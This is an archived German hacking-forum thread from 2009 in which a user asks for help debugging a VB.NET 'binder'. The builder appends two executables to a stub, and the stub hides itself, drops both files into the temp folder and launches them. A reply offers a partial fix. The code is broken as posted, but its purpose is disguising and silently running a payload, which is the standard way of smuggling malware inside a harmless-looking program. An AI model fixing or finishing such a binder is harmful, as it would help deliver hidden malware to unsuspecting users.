PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [vb.net] Binder 2 versuch [Hilfe :(]



inmate
14.07.2009, 16:10
Moin Leute , ich weis echt nicht mehr weiter.
Also ich wollte nen Binder machen aber irgenwie geht das nicht :/
Ich bekomm ne Fehlermeldung :"Ungültige Konvertierung von typ byte"
Ich habe schon extra die Builder Methode von ThePapst genommen , da ich dacht es läge vllt an meiner aber so war es nicht :(

Hier der Builder :

Imports Microsoft.VisualBasic.Compatibility
Imports System.IO
Public Class frmMain

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click


With SaveFileDialog1
.FileName = "Bound.exe"
.CheckPathExists = True
.Filter = "executable datas(*.exe,*.bat) | *.exe*,*.bat*"
.ShowDialog()
End With

Dim bytes1() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox1.Text)
Dim bytes2() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox2.Text)


File.Copy(My.Application.Info.DirectoryPath & "\stub.exe", SaveFileDialog1.FileName)
Dim Trennzeichen As Char = "#"



Dim Einstellungen As New VB6.FixedLengthString(100)
Einstellungen.Value = bytes1 & Trennzeichen & bytes2

FileOpen(1, (SaveFileDialog1.FileName), OpenMode.Binary)
FilePut(1, Einstellungen.Value, LOF(1) + 1)
FileClose(1)

MsgBox("Datei erfolgreich gebunden!", MsgBoxStyle.Information, "Succesfully")



und hier die stub:


Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "\Stubkopie.exe")
Dim Einstellungen As New Compatibility.VB6.FixedLengthString(100)
FileOpen(1, (My.Application.Info.DirectoryPath & "\Stubkopie.exe"), OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)
Dim Trennzeichen As Char = "#"
Dim Builderdaten As String() = Einstellungen.Value.Split(Trennzeichen)
File.Delete(My.Application.Info.DirectoryPath & "\Stubkopie.exe")
Dim bytes1() As Byte = {Builderdaten(0)}
Dim bytes2() As Byte = {Builderdaten(1)}
IO.File.WriteAllBytes(Environ("tmp") & "\Bind1.exe", bytes1)
IO.File.WriteAllBytes(Environ("tmp") & "\Bind2.exe", bytes2)

Process.Start(Environ("tmp") & "\Bind1.exe")
Process.Start(Environ("tmp") & "\Bind2.exe")

End Sub
Private Sub entpacken()


End Sub
End Class
Ich möchte einfach nur das die beiden Dateien in bytearrays an die Stub übergeben werden.Aus der Stub heraus sollen sie ins Verzeichniss "tmp" gedroppt und ausgeführt werden.

Hoffentlich findet einer meine(n) Fehler


mfG

edit:

Ok der Fehler lag im Builder , ich darf die bytes nicht in string konvertieren , aber jetzt kommt hier folgender Fehler:
Der & operator ist für die Typten "1-Dimensionales Array" und "Char" nicht definiert

/push , weis es denn echt keiner :(

hackerking
15.07.2009, 17:08
Dim bytes1 As String = TextBox1.Text
Dim bytes2 As String = TextBox2.Text


File.Copy(My.Application.Info.DirectoryPath & "\stub.exe", SaveFileDialog1.FileName)
Dim Trennzeichen As Char = "#"



Dim Einstellungen As New VB6.FixedLengthString(100)
Einstellungen.Value = bytes1 & Trennzeichen & bytes2


Wieso um himmels willen willst du die strings in bytes konvertieren oO?